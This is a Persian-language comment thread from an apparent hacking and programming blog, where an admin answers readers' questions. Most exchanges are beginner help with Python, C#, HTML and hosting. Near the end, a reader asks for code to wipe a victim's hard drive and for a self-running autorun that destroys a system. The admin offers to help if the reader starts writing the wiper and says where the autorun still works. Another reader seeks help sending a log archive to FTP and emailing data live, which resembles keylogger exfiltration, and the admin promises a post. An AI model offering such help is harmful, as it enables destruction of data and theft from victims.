    سلام داداش یک سوال من برنامه ی Yahoo masanger رو نصب کردم ازم User id & password میخواد می دم بعدش دوتا گزینه میاره Cancel & Troblshoot نمیره چرا ؟! والا همه ی مسنجر ها اکثرا فیلترن و .. گفت این شاید خوب باشه ولی اینم کار نکرد
    MR C0D3R :
    سلام
    آشناییتم با یاهو فقط در حد ساخت یه ایمیل بوده
    بخاطر همین نمیدونم مشکلت کجاس ...
    سلام داداش برنامه که باز شد 2 تا تکست باکس داره یکیش Id Yahoo و دیگری Password و یک Batton با تکست : Sing in من هیچ کدومو نزدم پایین برنامه یک متن هست اونو زدم : Get a nwe Id yahoo بعد یک چند تا در اینترنت مشخصات خواست نام و شهرت و ایمیل و ... ساختم وارد ایمیل هم شدم و الان اومدم 2 تا تکست باکسو پر می کنم همون ارور هارو میده مگه جای دیگه ای هم داره که میگی نمیدونم کجاش گیر کردی کمکم کن داداشی
    سلام داداش هر وقت وقت کردی آموزش ساخت یک برنامه ی چت هم بزار با زبان سی شارپ که مثلا یکی بیاد یرور باشه اونیکی ها بیاد رو سرور اون جوین بشن و بتونیم باهم چت کنیم متشکرم
    MR C0D3R :
    سلام
    قبلا یه کد برای چت با پی اچ پی نوشتم
    بعدا میزارمش استفاده کنین
    چون نیاز به یه خرده توضیحات داره
    همین باعث میشه آدم دستش به کار نره :)
    سلام این چه مشکلی داره؟
    my = input("1 or 2 :")
    if my == "1":
    print ("hello iran")
    elif my == "2":
    print ("hello")
    raw_input()
    MR C0D3R :
    سلام
    پایتونت سه هستش ؟
    وقتی یه دستوری رو مینویسی و آخرش مساوی میزاری
    حتما خط بعدی کد باید چهار تا فاصله داشته باشه اولش
    بعدا دستورتو بهش بدی
    دوم اینکه من کدتو به کد های پایتون دو تغییر دادم
    بخاطر همین اگه از پایتون سه استفاده میکنی
    raw_input رو تغییر بده به همون input و رشته رو هم مقدارشو عددی کن
    my = raw_input("1 or 2 :")
    if my == "1":
        print ("hello iran")
    elif my == "2":
        print ("hello")
    پایتون 2
    الان درست شد. اگه به اخر همه ی برنامه ها ()raw_input رو اظاف کنم جواب میده؟
    MR C0D3R :
    اون باشه و نباشه فرقی نمیکنه
    چونکه وقتی میزاریم ته برنامه یجورایی برنامه میره به حالت انتظار
    که همین باعث میشه برنامه بسته نشه
    بخاطر همین میگم فرقی نمیکنه که باشه یا نباشه
    کد رو D: بیین Khoshgeled By Virus & Mr Coder :D
    MR C0D3R :
    :)
    سلام ویروس جان امیدوارم با Html رابطه ی خوبی داشته باشی یک سوالی داشتم من و کامپیوتر فرض کن یک فایل اچ تی ام ال دارم که همون سایتی هست که طراحی کردم حالا در ادرس اون سایت محل فایلی که تو کامپیوتر من هست رو نشون میده چطئری پس اون سایتو عمومی کنیم یعنی تو اینترنت ادرس بزنیم بیاره واسه همهl
    MR C0D3R :
    اول از همه باید یدونه هاست و دامنه آماده کنیم
    که اگه نمیدونی چیه ، بهتره یه سر به اینجا بزنی
    بعدا که هاست و دامنت ردیف شد و هاستتو آماده کردی
    وارد آدرس آی پی هاستت که بعد از خرید یا ... برات ایمیل میشه شو
    بعدا اونجا یه چیزایی هستش به نام File Manager که وقتی واردش بشی
    یه چیزی هست به نام Public_html که باید فایل های وبتو اونجا آپلود کنی و ....
    مقدماتشو بهت توضیح دادم ، بقیشو خودت پیش برو و هر جا گیر کردی بپرس
    داش کدر ایمیل چک کن
    سلام داداش ویروس من تقریبا Html رو کاملا بلدم والان می خوام css یاد بگیرم آموزش خوب سراغ داری که ویدیو باشه حالا نبود هم که نبود ولی بیشتر ویدیو باشه خوب تره .
    MR C0D3R :
    نه سراغ ندارم ولی سرچ بزنی تو آپارات و یا سایت های دیگه زیاده
    من خودم با یه کتاب Css کار کردم که الان ندارمش ، اسم مدرسشم یادم نیس
    ولی خیلی کتاب عطیقه ای بود
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام D: باشه ولی ببین من دوست دارم مثلا فیلم بود هم کامل باشه تو آپارات من کجاهاشو بدونم کجاهاشوو ندونم کامل نیستن یکی رو دانلود کردم ولی قسمت 1 با 13 مشکل داشت کلا **** عیب نداره کتاب هم خوبه ولی دنبال چیز خوبم اگه بازم سعی کن داشتی بهم بدی متشکرم
    داش کدر یا ایمیلا رو جواب بده یا اگه دسترسی بهش نداری بگو این جا خصوصی بفرستم(البته فک کنم خلاف قوانین باشه و جواب ندین :(
    بهر حال یه جایی یه جوری جواب سوالای مارو بهمون برسون
    MR C0D3R :
    ایمیلتو خوندم
    خوب فک کنم اونجا یه سوالی ازت پرسیده بودم
    اگه مبشه اونو جواب بده
    کدر اصلا ایمیلارو میخونی؟؟؟؟؟؟؟؟؟؟؟؟
    MR C0D3R :
    از ایمیلم فقط برای ارسال رمز مطالب استفاده میکنم
    اما چون تو گفتی یه سر اومدم تو ایمیلا :)
    بخاطر همین برای تورو هم خوندم
    نمیخوای جوابشونو بدی؟؟؟
    MR C0D3R :
    نه
    سلام. مثل همیشه حرف نداری.میخواستم توضیحی در مورد کسب درامد با یوتیوب رو بدی . اگر میشه کامل کامل باشه و اینکه ایران تحریمه چطوری اینکارو بکنیم. مرسی.
    MR C0D3R :
    سلام
    نمیدونم عزیز :(
    سلام. ببخشید دوباره مزاحم شدم . میتونی زبان c++ رو کامل آموزش بدی؟ حالا کاملم نشد یک جوری که بتونی ازش خوب استفاده کنی. ممنون.
    MR C0D3R :
    اینجا و اینجارو دیدی ؟
    سلام. ( اینجا رو ) دیده بودم ولی ( اینجا ) رو نه. مرسی
    سلام. بازم من 😐. میخواستم بپرسم چطوری از صفحه ی گوشی میتونم فیلم بگیرم ؟ تبلتم 4.4.4 هست و بدون روت چطور اینکارو انجام بدم؟
    MR C0D3R :
    سلام
    مراحم زیاده ، نمیدونم کدوم امیری :))
    این برنامه بکارت نمیاد ؟
    من خودم بعضی وقتا ازش استفاده میکنم
    سلام خوبی؟
    خیلی وقته پستی نزاشتی,منتظریما !
    MR C0D3R :
    سلام ، میدونم ...
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    دوباره سلام
    مزاحم همیشگی هستم معذرت ♥

    داداش داشتم توی گوگل در مورد این ویروس هایی که سیستمو دیفیس میکنن سرچ میکردم که برخوردم به وب زیر
    ******************************
    خیلی جالب بود برام لامصب کا وبلاگو کپی کرده حتی اسمشم گزاشته ویروس 32 o_O
    شاید یکی از قدیمی ترین کپی کنندههای این وبلاگه عمر وبلاگشو نیگا :|

    هنوز این اولیش بود این یکیم هست
    **************************

    ماشالله انقدر وبلاگ بیننده داره که توی انجمنم طرف مطالبو با اسم خودش منتشر کرده

    *********************************************************************************************************************************************************************************************


    و توی سرچ های قبلیمم خیلی از این وبلاگا و سایتا دیدم که مطالبو کپی کردن و به اسم خودشون منتشر میکنن

    البته اینا عب نداره مهم اینه که بالاخره چها مفر دیگم از طریق اون سایتا اموزشا رو یاد میگیرن ولی بهتر بود این وبلاگ شمارم کنار همون مطالبشون لینک میکردن.
    -------------------------------------------------------------------
    بعد یه سوال فتا که اینقدر به شما گیر میده به اونا چرا گیر نمیده و باهاشون برخورد نمیکنه؟؟؟؟؟؟؟؟؟
    سلام. اندرویدم 4.4 هست و برنامه az screen recorde برای اندرویدای 5 به بالاس. سایتای دیگرو دیدم چیزی پیدا نکردم یا باید روت کنم یا اندرویدم بالا باشه. راه دیگه ای اگر دارید لطف کنید بگید ممنون از پاسخ های سریعتان.
    MR C0D3R :
    سلام
    دیگه غیر از این خوبشو سراغ ندارم
    مطمئنم خودتم گشتی ....
    سلام
    بالاخره لینوکس رو نصب کردم در هنگام نصب یه گزینه بود که من میخواستم (حذف کلی ویندوز و نصب ابونتو)
    برای اکسترک فایل های rar باید چکار کنم؟
    MR C0D3R :
    سلام
    برای استخراج فایل های rar توی لینوکس از دستور unrar استفاده میشه و نیازی به نصب برنامه ی خاصی نیست 
    همچنین از دستور unzip برای استخراج فایل های zip استفاده میشه
    سلام کدر جان یک سوال داشتم در مورد طراحی سایت داداش فرض کن من سایتو طراحی کردم و چیزی که گفتی رو در مورد سایت انجام دادم (هاست و دامنه) خب یک سوال خودت میدونی دیگه در وبلاگ ها و سایت ها یک دکه ای هست به نام پست جدیدی ایا تو این سایتی که من طراحی کردم هم میشه یک مطلب جدیدی گذاشت چطوری ؟ نمیدونم فهمیدی منظورمو یا نه
    MR C0D3R :
    سلام
    آره فهمیدم منظورتو
    ببین ما دو نوع سایت داریم
    اولی رو بهش میگن از نوع سایت های پویا
    و دومین نوع از این سایتارو میگن داینامیک
    حالا اینا فرقشون چی چی هسسش ؟ :)
    سایتای داینامیک به سایتایی گفته میشه که مثلا
    ما یه مطلب مینویسم و این تموم میشه و میره
    یعنی هر بار برای تغییر و ... باید کدارو عوض کنیم
    یا اینکه متن داخل کدارو عوض کنیم
    اما تو سایت های از نوع پویا مثل همین بلاگ یا بلاگفا و ...
    یکبار هسته ی سایت رو درست میکنن و هر موقع که خواستن
    خیلی ساده یه مطلب رو منتشر میکنن
    بخاطر همین شما هم برای یادگرفتن چیزی که میخوای
    باید کد نویسی سایت های پویارو یاد بگیری
    نه اینکه صفحات تکی درست کنی
    نمیدونم تونستم منظورمو برسونم یا نه ولی در کل اگه نفهمیدی تحقیق کن
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    اره منظورتو فهمیدم الان من یک سایت که مبتدی هستم ساختم با نوع دابنامیک ببین چطوره مبتدی هستم دیگه D:
    ادرس : ******************************************************
    MR C0D3R :
    سعی کن زیاد غلط املایی نداشته باشی
    کاری با طراحیت ندارم چون خوبه و برای یه مبتدی مناسبه
    اما متنش داغوونم کرد :(
    مثلا اگه دقت کنی ما زیاد سوتی املایی نمیدیم
    مگر اینکه هر از چند گاهی یکی دو تا سوتی بدیم
    اما این لعنتی کلا سوتی بود D:
    مخصوصا اون قسمت معرفی نامه
    داداش ببخشید یک سوال دیگه واسه ساخت صفحات داینامیک چه برنامه ای باید داشته باشم چه زبان هایی رو باید یاد بگیرم یا زبان هاشون فرق ندارن !؟ بعد کد هاشون فرق داره یا طرز نوشتنشون ؟!
    MR C0D3R :
    من پی اچ پی رو خوب چیزی برای اینکار میدونم یا Asp.net
    سلام. یه مشکل گریبانمو گرفته. برای اسمارت سکیوریتیم لایسنس گرفتم آپدیت شد بعد از آپدیت شدن یک پیغام اومد accept & update بعد زدم روش اسمارتم شد اینترنت سکیوریتی . چیزی عوض نشد ولی الان دیگه گوگل کرومم کار نمیکنه یعنی سرچ میکنم چیزی میگه نتت قعطه درحالی که وصله . راستی یک پیغامم میده که عنوانش restore pages هست چیکار کنم؟
    MR C0D3R :
    سلام
    اگه امکانش هست یدونه اسکرین از اون صفحه که میگه اینترنت قطعه بده
    چون بعضی مواقع یه چیزی میاره که اسمش یادم نیست ، بعدا اونو که میزنی درست میشه
    یا اینکه اگه تاریخ و ... بهم ریخته باشه خطا میده و ...
    برای مورد دوم هم اینکه گفتی Restore pages عرضم به خدمتت که وقتی یهویی مرورگر رو میبندی
    یا اینکه برقا یهویی میره و ... وقتی مرورگر رو بازش میکنی ، اون گزینه رو میاره که با استفاده از اون میتونی
    صفحاتی که وقتی مرورگر باز بود رو برگردونیش به قبل و دیگه نیازی نباشه که مجددا بری دنبال اون صفحات
    سلام. عکس رو چطوری بفرستم. پیامی که میاد This site cant be reached
    Try:
    Cheching the connection
    Cheching the proxy and the firewall
    Cheching Windows network diagnostics
    Err_timed_out
    نتم مشکلی نداره .
    MR C0D3R :
    سلام
    توی منوی استارت هم بنویس Snipping Tool
  • Virus32
  • رسانش رشته کامپیوتر
  • سلام کدر
    دلم برات تنگ شده بود
    یه منبع برای شروع برنامه نویسی سی پلاس پلاس سراغ داری؟
    ___________________کتاب یا فیلم یا یه سایت_
    سلام داداش
    باز همون مزاحم همیشگی ام
    داداش اون پیام های گوشه ی پایین - سمت راست دسکتاپ ویندوز رو چطوری می تونیم تو سی شارپ نمایش بدیم ؟؟؟؟
    MR C0D3R :
    سلام
    سرچ بزن مطمئنم تو نت هستش
    باور کن من تازه ویندوز عوض کردم
    سی شارپ میشارپ ندارم
    اگه نتونستی بگو من پیدا کنم بدم روش کار کنی و اوکیش کنی
    منظورم همون ناحیه اعلان یا نوتیفکیشن هستش
    MR C0D3R :
    متوجه شدم
    نه داداش اشکالی نداره قربون دستت
    یه کم گشتم ، پیداش کردم
    فکر کردم باید کار سختی باشه ولی با یکی دوتا کد مشکل حل شد
    در کل مرسی
    MR C0D3R :
    کاری نکردم که
    خواهش :)
    یه دست به تم سایت بکش :)
    MR C0D3R :
    قشنگه :)
    sallam dostane aziz moshkei bande dar rabete ba fork bomb hal shod ama mikhastam bedonam chera javab soal mano nadadid
    MR C0D3R :
    سلام
    دیگه ببخشید که نمیتونیم اینجا اسمتونو لیست کنیم و ببینیم مشکلتون چیه
    اسمتو توی پست سرچ زدم دیدم سوالتو آورده و منم جوابشو دادم
    دکمه های Ctrl+F رو بزن و بنویس light و اینتر کن
    توی این پست کلی سوال پرسیده میشه و خواهد شد
    وقتی یه سوالی میکنی تا 24 الی 48 ساعت باید بیای و جوابتو برداری یا اینکه جوابش گم خواهد شد
    برای شما هم الان اینجوری شده فک کنم
    bale dark mikonam
    mamnon az in ke peygiri kardin
    ramze matlab ha ham befrsted
    MR C0D3R :
    رمزو که دیروز تو بخش رمز مطالب درخواست دادی برات ایمیل کردم
    سلام داداشی خوبی ؟! یک سوال چی میشه اینو کمک کن منم بفهمم این دور پستات نئون هست چطوری گذاشتی نمی خوام که مصرف کنم ازش فقط ضمن یادگیری رفم تو مخم که باید بفهمم چیه ؟!
    چرا جواب نمیدی داداشی ؟!
    داداش لا اقل یک کمک بکن کد هست عکس هست چیه خودم برم پیداش کنم کلا سر در نمیارم
    Virus 32 :
    سلام عزیز
    برای بدست آوردن کدهایی مثل این خیلی ساده میتونستی دکمه F12 رو فشار بدی یا از فایر باگ استفاده کنی
    " حالا چه اینجا چه تو هر سایتی"
    box-shadow: 0 0 20px rgb(0, 250, 250);
    اینم کدی که دنبالشی
    صلام راحی حثت که بشه به یک وبلاگ یا صایت احنگ ازافه کرد؟یعنی اینجوری که وغطی کثی وارد وب شد احنگ اجرا شه؟
    MR C0D3R :
    سلام
    <audio loop autoplay hidden>
    <source src="http://LinkMusic.mp3" type="audio/mpeg">
    </audio>
    اگه خواستی موزیک بصورت خودکار پخش نشه autoplay رو پاک کن
    اگه خواستی موزیک بصورت مخفی اجرا نشه به جای hidden بنویس Controls
    اگه خواستی موزیک بعد از تموم شدن مجددا تکرار نشه گزینه ی loop رو پاک کن
    چتور میشه به یه وب قثمط صرچ اظافه کرد؟
    MR C0D3R :
    اگه برای وبلاگ میخوای میتونی از تو قسمت تنظیمات
    وارد بخش تنظیمات ساده بشی
    اونجا پایین صفحه گزینش هست که خودت باید ردیفش کنی
    سلام. ببخشید چند تا سوال از خودتون داشتم.
    1. چرا سایت شما که مطالبی روکه میزارید مربوط به خراب کاری های اینترنتی میشه، فیلتر نشده؟
    2. هدفتون از آموزش کد هایی که فقط نیاز افرادی که وارد سایتتون میشنو برطرف میکنه چیه؟ به نظرتون بهتر نیست همون جوری که خودتون یاد گرفتید و پله پله به این درجه رسیدید به اینا هم یاد بدید؟
    3. برای چی اینقدر راحت چیز هایی که ممکنه به یه شخص و یا یه خانواده آسیب بزنه به افرادی که فقط هدفشون هنینه یاد میدی؟ چرا قبل از اینکه وارد سایت بشیم، از افراد یکسری آزمون و اینکه چه قستی از اینکه میخوان اینهارو یاد بگیرن نمیگیرید؟
    4. آیا شما یک گروه هستید که میخواد این کارارو بکنه وگرنه چرا هی میگید اگر زنده باشیم. اگر ...
    داداش برای رضایت روح فردوسیم که شده درست بنویس لعنتی
    چه وضعشه این جور نوشتن اخه 😑😕
    MR C0D3R :
    راهی هستش که بشه به یک وبلاگ یا سایت آهنگ اضافه کرد ؟
    یعنی اینجوری که وقتی کسی وارد وب شد آهنگ اجرا بشه ؟
    سلام رفیق یه سوالی دارم رمز فایل های داخل سایت چیه
    MR C0D3R :
    سلام عزیز
    ما فایلامون رمز نداره
    مگر اینکه تو بعضی از پستامون ادمینای دیگه فایل رمز دار بزارن
    اما اگه منظورت رمز پست هامون هستش ، میتونی اینجا درخواست بدی
    شرمنده ولی من هنوز جواب یه سوالمو نگرفتم. گفتم که چرا پله پله همونجوری که خودتون یاد گرفتید یاد نمیدید؟ بعدشم شما داری میگب اگر اینا بمونن به درد ما نمیخورن. یعنی شما چیزایی که بعوا به دردتون نمیخوررو تازه میخواید بگید و همینطور جواب سوال 3 رو هم کامل ندادید.
    MR C0D3R :
    اینجوری بهتره
    سلام
    من میخوام فایل Logs.zip از توی پوش C:/Temp32 روی هاست ftp آپلود کنم
    با CMD تست کردن جواب نگرفتم (bat file)
    اگر راهنمایی کنید ممنون میشم
    نزدیک به یک هفته هس نتیجه نگرفتم
    و سوال دیگه این که من یه کد با ویژوال‌بیسیک تنظیم کردم که به صورت زنده برای من ایمیل متنی میفرسته (قبل گوگل بلاک کرد درست کردم) من میخوام فایل ارسال کنه به ایمیلم
    در این مورد مطلب ندارید یا اینکه یه راهنمایی کنید ممنون میشم
    MR C0D3R :
    سلام
    یه مدت خیلی کوچیک صبر کن
    قول میدم در رابطش پست بنویسم
    میخوام یهویی وب رو بروزرسانی کنم
    ادرص احنگ رو کجا باید بنویثم؟
    MR C0D3R :
    نمیدونم ولی کدارو نگاه کن ببین کجاش نوشته لینک میخواد
    سلام. میشه یک آنتی ویروس خوب معرفی کنید و لینکش رو بزارید. اگر در تنظیماتشم چیزای ریزی داشت لطفا بگین . ممنون.
    MR C0D3R :
    سلام
    سراغ ندارم
    سعی کن از آنتی ویروس های معروف استفاده کنی دیگه
    مثلا نود 32 یا اینکه کسپرسکی و ..
    بعد از هفته ها سلام⁦:-)⁩
    داداش یه مشکل برام پیش اومده
    سیستم همیشه میخواستم چیزی نصب کنم یا هر فایلی اجرا کنم هنگ میکرد
    ویندوز که دوباره نصب کردم انجام شد ولی ریستارت شد که بره داخل ویندوز یه صفحه آبی اومد و دوباره ریستارت شد.
    می‌خوام برم دوباره ویندوز نصب کنم بازم همین اتفاق میوفته.
    می‌خوام لینوکس نصب کنم بازم نمیشه⁦:'(⁩
    لطفاً کمک کن
    ممنون از وب عالیی که داری
    سلام
    خوبی ؟
    یه چند وقته نیستم از دست سوالام راحتین :)
    داداش ویروس کی سرش خلوت میشه(یعنی دیگه پروژه ای چیزی نداره میاد این جا)
    سلام مستر کدر عزیز دل، امیدوارم حال تو و ویروس جون خوب باشه، و امیدوارم سر داداش ویروس هم خلوت بشه که یه سری به ما و وب هم بزنه.
    داداش یه سوال داشتم:
    من دارم با سی شارپ یه صفحه رمز می سازم که از کاربر یوزرنیم و پسورد رو بگیره و با توجه به یوزرنیم و پسورد فایل مربوط به اون رو باز کنه.
    سه تا یوزر به نام A,B,C به پسورد 1,2,3 ساختم که هر کدوم اگه وارد بشه، پوشه مختص به اون رو باز میکنه.
    این تصویری از فرمش هست: http://s8.picofile.com/file/8336213018/Kam.JPG

    کدش هم اینه:

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Diagnostics;

    namespace kamran_Users
    {
    public partial class kamUserLogin : Form
    {
    public kamUserLogin()
    {
    InitializeComponent();
    }

    private void kamUserLogin_Load(object sender, EventArgs e)
    {

    }

    private void TB1_TextChanged(object sender, EventArgs e)
    {
    if (TB1.Text == "")
    btnok.Enabled = false ;
    else
    {
    btnok.Enabled = true;


    }
    }

    private void TB2_TextChanged(object sender, EventArgs e)
    {

    }

    private void btnok_Click(object sender, EventArgs e)
    {


    if (TB1.Text == "A")
    if (TB2.Text == "1")
    System.Diagnostics.Process.Start(@"D:\\A");

    if (TB1.Text == "B")
    if (TB2.Text == "2")
    System.Diagnostics.Process.Start(@"D:\\B");


    if (TB1.Text == "C")
    if (TB2.Text == "3")

    System.Diagnostics.Process.Start(@"D:\\C");


    if (TB2.Text == "")
    MessageBox.Show("Please inter the Password", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error);




    }



    private void btncancel_Click(object sender, EventArgs e)
    {
    Close();
    }

    private void CLER1_Click(object sender, EventArgs e)
    {
    TB1.Clear();
    }

    private void CLER2_Click(object sender, EventArgs e)
    {
    TB2.Clear();
    }

    private void LB2_Click(object sender, EventArgs e)
    {

    }

    private void LB3_Click(object sender, EventArgs e)
    {

    }

    private void LB1_Click(object sender, EventArgs e)
    {

    }

    private void PBH_Click(object sender, EventArgs e)
    {
    MessageBox .Show ("This Program is Login the User..."
    +"\r\n\r\n"
    + "You Should inter the UserName and Password for Login the Program."
    , "Help", MessageBoxButtons .OK , MessageBoxIcon .Information );
    }

    protected override void OnClosing(CancelEventArgs e)
    {
    if (MessageBox.Show("Do You Want Close this Programs?", "Warning...", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) != DialogResult.Yes)
    e.Cancel = true;
    else
    {
    base.OnClosing(e);
    }
    }

    private void LB4_Click(object sender, EventArgs e)
    {
    MessageBox.Show("Programer: kamran B"
    + "\r\n\r\n"
    + "Email: a.r_barimani80@yahoo.com"


    , "Kam", MessageBoxButtons.OK, MessageBoxIcon.Information);
    }

    private void button1_Click(object sender, EventArgs e)
    {

    }


    }
    }

    1- مشکلم اینه که چه طور یه کاری کنم که وقتی کاربر رمز رو داره وارد میکنه، رمز رو نشون نده یعنی به شکل دایره کوچیک نشون بده که کسی کنارش نشسته نفهمه. به این صورت •

    2- مشکل دوم اینه که میخوام وقتی کاربر بعد سه بار رمز رو اشتباه وارد کرد، یه پیغامی نشون بده و کامپیوتر خاموش بشه. من فکر کردم از این دستور استفاده کنم ولی نمیدونم کجا و چجوری: Process.Start("cmd","/c Shutdown -r -t 00");

    امیدوارم که تونسته باشم منظورم رو خوب رسونده باشم.
    مرسی که به کامنتام نگاه میکنی
    دوستتون دارم♥♥
    باتشکر ♥♥
    MR C0D3R :
    سلام
    کداتو اصلا نخوندم
    فقط سوالاتو جواب میدم
    جواب سوال اولت اینه که میتونی از کد پایین استفاده کنی
    textBox1.PasswordChar = '*';
    جواب سوال دومت اینه که آره میتونی از  اون دستور و ... استفاده کنی
    اما قبلش باید یه کوچولو بلد باشی با شرطا کار کنی
    یه متغیر تعریف کن به نام counter و بعدش برابرش کن با مقدار 3
    حالا شرط بزار که فلان پیغام رو نشون بده و توی دستورات شرط بگو که یدونه
    از مقدار متغیر counter کم کنه
    یعنی کاربر هر بار که اشتباه میزنه ، مقدار بشه 2 و 1 و ...
    در آخر هم دوباره شرط بده که اگه counter یا همون شمارنده برابر بود با 0
    سیستم با کدی که خودت گفتی خاموش شه
    سی شارپ ندارم وگرنه از خجالتت در میومدم :)
    کد حایی که گفتی جواب نداد ویروص واثه احنگ رو وب
    سلام یک سوال اگر دقت کنی وقتی در html مثال با تگ h1 متنی بنویسی و دوباره بیای یک تگ h1 دیگه بنویسی میاد پایینش میوفته چیکار کنیم بیاد جلوش بیوفته
    سلام. میخواستم بدونم منظورتون از اینکه اسم سایتتونو ویروس32 گذاشتید چیه؟
    سلام. میخواستم بدونم منظورتون از اینکه اسم سایتتونو ویروس32 گذاشتید چیه؟
    سلام. میخواستم بپرسم که از کجا باید فهمید مثلا کامپیوترم کیفیت تصویرش چیه؟ مثلا 1080p یا 2160 . مرسی .
    سلام بر دوستان زحمت کشم و تیم عالی ویروس32. میخواستم اگر امکان داره یکم نرم افزار های خوب برای هک و غیره در سایت بذارید.
    سلام داداش ویروس:)
    ببین من یه کد پایتون نوشتم(یه تکست باکس و دوتا دکمه داره،یکی close یکی sent)میخواستم مـثلا آخرش اینجوری بشه که وقتی متن موردنظرو تایپ میکنم اون طرف یه روبات جواب بده.(البته مشخص کردم،یعنی وقتی میگم سلام به سلام،اینجوری:))

    بعد یجا به مشکل خوردم،اونجا که میخوایم بگیم اگه گفتیم فلان جواب بده فلان.

    اینا کدامه،خودت ردیفش کن داداش(راشتی،پایتونم 3.6)

    import tkinter
    import tkinter as tk
    from tkinter import *


    def write_slogan():
    print("...")
    def write_hogan():
    print("...")
    root = Tk()
    root.title('Random')
    Label(text='Talk me,Admin').pack(side=TOP,padx=10,pady=10)

    entry = Entry(root, width=10)
    entry.pack(side=TOP,padx=10,pady=10)
    button = tk.Button(
    text="QUIT",
    fg="red",
    command=quit)
    button.pack(side=tk.LEFT)
    slogan = tk.Button(
    text="Sent",
    command=write_slogan)
    slogan.pack(side=tk.LEFT)

    root.mainloop()




    اینم کدا:)
    پس اگه زحمتی نیس بهم سریع بگو چیکار کنم،مغزم قفل کرده!
    چاکریم:)
    اودافظ
    سلام ویروس نبودی؟! داداش این پیام های مارو تایید کردی یک جواب هم بده داشی و یک سوال دیگه داشیمن اچ تی ام رو تموم کردم والان تقریبا سی اس اس هستم یکی از دوسان گفت اینا رو لش برو asp c# php الام موندم چیکار کنم ؟!
    MR C0D3R :
    سلام
    اونو بلد نبودم
    مگه نمیخوای طراحی وب یاد بگیری ؟
    پس بهتره Css رو هم یاد بگیری ، اما اگه میخوای
    وب هکینگ کار کنی باید بری زبان های جاوا اسکریپت و Php و ...
    سلام لطفا آموزش ساخت ممبر فیک تلگرام هم بذار ممنون
    MR C0D3R :
    سلام
    بلد نیستم

    SQL Injection
    این حمله معرف همگان هست. این حمله برای نفوذ در کوئری های دیتابیس اجرا شده و اجرای کوئری های دلخواه نفوذگر استفاده میشه.

    XSS
    توسط این حمله کدهای اسکریپت سمت کلاینت (جاوااسکریپت یا vbscript) مورد نظر نفوذگر از طریق صفحات سایت شما اجرا میشن. یعنی یجوری اسکریپت ها رو در صفحات تزریق میکنه.
    این حمله ای مستقیم به خود سایت نیست، بلکه حمله به کاربران سایت هست و با این روش مثلا محتویات کوکی های لاگین یا سشن کاربران رو میشه سرقت کرد و نفوذگر بعد از اینکار میتونه بجای اونا لاگین بشه یا درصورتی که اطلاعات مهم دیگری هم در کوکی ها باشه از اون اطلاعات سوء استفاده های دیگری هم بکنه.

    XSRF
    _بوسیلهء این حمله یک دستور/عملیات از طرف کاربر بدونه اینکه خودش خبر داشته باشه میتونه در سایتی که احتمالا کاربر در اون لاگین هست اجرا بشه. یعنی کاربر بدون اینکه متوجه بشه آدرسی از سایت هدف رو که عملیات خاصی انجام میده در مرورگر خودش تحت ظاهرا سایت دیگری باز میکنه. اینم باز حملهء مستقیمی به خود سایت نیست، بلکه به کاربران سایت حمله میشه.

    Header Injection
    این حمله به فرمهای تماسی که از ایمیل استفاده میکنن و کاربر ایمیل خودش رو در فیلد مربوطه در فرم وارد میکنه و بعد این آدرس ایمیل بدون ولیدیت کردن در قسمت هدرهای تابع mail درج میشه (*) صورت میگیره که بوسیلهء این روش میتونن از طریق فرم تماس شما به هرکس دیگری که میخوان ایمیل ارسال کنن و این ایمیل از طرف سایت شما ارسال میشه، بنابراین به این طریق مسئولیت گردن سایت شما میاد و ضمنا میتونن با ایمیل های جعلی که ظاهرا از طرف سایت شماست اقدام به فریب و کلاهبرداری از کاربران بکنن. به این روش حتی میشه ایمیل های دارای ضمیمه هم ارسال کرد و مثلا ضمیمه ممکنه فایل اجرایی یک برنامهء جاسوسی باشه.
    *: در کدهای ارسال ایمیل در فرم تماس، درج ایمیل کاربر در قسمت هدرهای ایمیل از این جهت صورت میگیره که موقعی که ایمیل دریافت شده رو میخونید و دکمه Reply رو در نرم افزار ایمیل خودتون برای پاسخگویی به کاربر مورد نظر میزنید، آدرس کاربر بصورت خودکار در قسمت آدرس دریافت کننده درج بشه.

    چند تا از حملات وب که بیشترین کاربردودارن(البته غیر از xss)
    MR C0D3R :
    مرسی :)
    داداش کدر ببین من می خوام طراحی سایت یاد بگیرم که بتونم با طراحی سایت واسه خودم با دوسام یک گروهی داشته باشم و در امد و ...
    ولی از یکی از دوستان که طراحی سایت بلد بودن بهش گفتم اچ تی ام ال بلدم می خوام برم سی اس اس گفت اونا پیش پا افتادن برو asp.net و C# وphp ودیروز هم یکی از دوستان گفت اونم دروغه برو سراغه sql و android studio و C#و الان دیگه دارم دیونه میشم
    MR C0D3R :
    اچ تی ام ال - سی اس اس - پی اچ پی
    یا
    اچ تی ام ال - سی اس اس - جاوا اسکریپت - پی اچ پی
    جاوا اسکریپت رو هم میتونی یاد بگیری و هم یاد نگیری
    چون با پی اچ پی تمام کارات راه میفته
    تشکر و یک خواهشی داشتم اگه وقت داشتی در مورد اچ تی ام ال هم گاهی اوقات پست بزار تقویت بشویم
    MR C0D3R :
    اوکی
    سلام لطفا یه کد بدید که باش بشه هارد قربانی کاملن پاک بشه
    یه روشم بدید که واسش یه اتوران بسازم که وقتی به سیستم متصل شد خودش اوتوماتیک سیستمو نابود کنه
    ممنون از لطفتون
    MR C0D3R :
    سلام
    برای کسی کاری انجام نمیدم
    دومین موردی که خواستی روی بیشتر ویندوزا جواب نمیده
    مگر اینکه سطح UAC اون ها پایین باشه
    اما تو ویندوز XP کار میده
    اولیو اگه خواستی شروع کن به هر زبانی که عشقت کشید تا کمکت کنم
    سلام ویروس:(
    سلام کدر:(
    ببخشید من تو این تاریخ(۱۴ شهریور ۹۷ ، ۱۸:۵۲)یه کامنت زیر همین پست گذاشتم و سر کد پایتونم کمک خاستم،اما جواب بهم ندادید،اگه زحمتی نیست اشکالات کدمو بگیرین و بهم بگین.کسیو پیدا نکردم برا همین دست به دامنتون شدم:/
    اگه میشه یا جوابو واسم ایمیل کنید یا زیر همین کامنت جواب بدین.
    چاکریم:)))
    MR C0D3R :
    سلام
    تو پایتون از برنامه نویسی گرافیکی سر رشته ای ندارم
    خیلی وقت پیش تمرین میکردم اما چون خیلی وقته کار نکردم
